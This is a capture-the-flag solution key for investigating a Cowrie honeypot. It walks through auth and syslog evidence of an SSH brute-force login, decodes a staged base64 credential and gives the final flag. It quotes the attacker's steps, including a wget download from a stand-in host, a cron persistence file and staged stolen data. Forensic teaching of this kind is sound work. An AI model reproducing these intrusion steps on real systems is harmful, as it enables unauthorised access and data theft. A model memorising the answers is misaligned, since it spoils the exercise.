CTF Solution Key – Cowrie Honeypot Investigation

1. How did the attacker gain access?

Answer: Through SSH brute-force/password spraying, eventually logging in as the backup user.

Evidence:

- /var/log/auth.log shows:
  - Failed password for admin...
  - Failed password for student...
  - Accepted password for backup from <attacker IP>
  - This confirms the backup user's weak password was compromised.

2. What did the attacker do after logging in?

Answer: They installed a fake malware script and persistence mechanism, then staged exfiltration data.

- Evidence from /var/log/syslog:
  - You will see lines showing the attacker:
    - ✓ Downloading or creating "malware"
      - wget http://malware.evil/update-system
    - ✓ Installing it:
      - chmod +x /usr/local/bin/update-system
    - ✓ Creating persistence:
      - /etc/cron.d/sys-update
    - ✓ Accessing sensitive files:
      - /home/student/notes.txt
    - ✓ Writing staged data:
      - /tmp/.cache/.data.b64
    - ✓ Executing the malware:
      - /usr/local/bin/update-system

3. What is the base64 staging file's decoded value?

Answer: The attacker staged a stolen credential pair.

- Commands:
  - Search in var, log, system log
  - cat /tmp/.cache/.data.b64
  - echo "YmFkX2NyZWRlbnRpYWxzPTRmMzJmMzQzZjMyCg==" | base64 -d
- Decoded Output:
  - bad_credentials=4f32f343f32
  - This is a fake "stolen password" placed by the malware.

4. What does the malware (update-system) actually do?

Answer: It exfiltrates the real hidden flag by copying it from a hidden directory to a world-readable location.

- Command:
  - cat /usr/local/bin/update-system
- Malware Behavior:
  - Reads secret flag from:
  - /usr/share/.cache/.system/.exfil_flag
- Writes it to:
  - /tmp/.cache/.exfil
  - Writes "sent" marker to:
  - /tmp/.cache/status
  - This simulates an exfiltration payload.

5. What is the final exfiltrated flag?

Answer: flag{intrusion-chain-master}

- Command:
  - cat /tmp/.cache/.exfil
- Output:
  - flag{intrusion-chain-master}
  - This is the final answer to the CTF.